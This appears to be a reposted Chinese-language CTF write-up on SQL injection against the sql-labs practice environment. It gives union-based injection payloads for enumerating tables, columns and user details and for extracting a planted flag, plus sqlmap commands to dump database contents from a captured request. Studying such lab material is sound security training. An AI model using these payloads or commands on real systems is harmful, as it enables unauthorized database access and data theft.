CTF – sql注入(2)

环境:sql-labs-master  ,且在该数据库中设置flag表并储存  flag{ victory! }  值

图1

补充知识点:union select 1,group_concat(table_name), 3 from information_schema.tables where table_schema=database()

group_concat():把相同一组拼接起来,也仅限于拼接后的结果小于255个字符,varchar(255)超过后并不会显示全,使用时注意group_concat()函数有返回长度 限制

information_schema:

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

原文:https://www.jianshu.com/p/5903e8c002ed

手工注入:

  1. 单引号闭合语句且‘ --+ ’注释掉后面的语句后,使用order by 数值 从而拿到该数据表的字段值
    图2
     
  2. 在单引号闭合语句和 ‘ --+ ’注释语句中间插入‘ and 1=0 union select 1,version(),user() ’语句,既使得前面的查询语句失效从而执行后面的联合语句,又能爆破出版本信息、数据库和用户权限。
    图3
     
  3. 拼接语句为:“ ?id=1 and 1=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()), 3 --+  ” 或者为:“ ?id=1 and 1=0 union select 1,group_concat(table_name), 3 from information_schema.tables where table_schema=database() --+ ”
     
    最后在数据库中拼接成并执行的语句:select * from users where id=0 union  select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database();
    图4
    1.  
  4. 查目标数据表字段  “  union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name ='flag') --+ ”
    图5
  5. 获取字段数值,由上面获取的信息可知flag放在了flag表的flag字段中,“ ?id=0 union select 1,2,(select flag from flag) --+ ”

  图6

Sqlmap注入:

  1. Bp截包并复制粘贴到txt文件中
    图7
  2. 爆破数据库:sqlmap -r test.txt –dbs
    图8
  3. 爆破数据表: sqlmap -r test.txt -D security -- tables 
    图9
  4. 爆破数据字段:sqlmap -r test.txt -D security -T flag --columns
    图10
  5. 爆破数据:sqlmap -r test.txt  -D security -T flag -C flag --dump

    图11

  

猜你喜欢

转载自www.cnblogs.com/pywebsecurity/p/13388760.html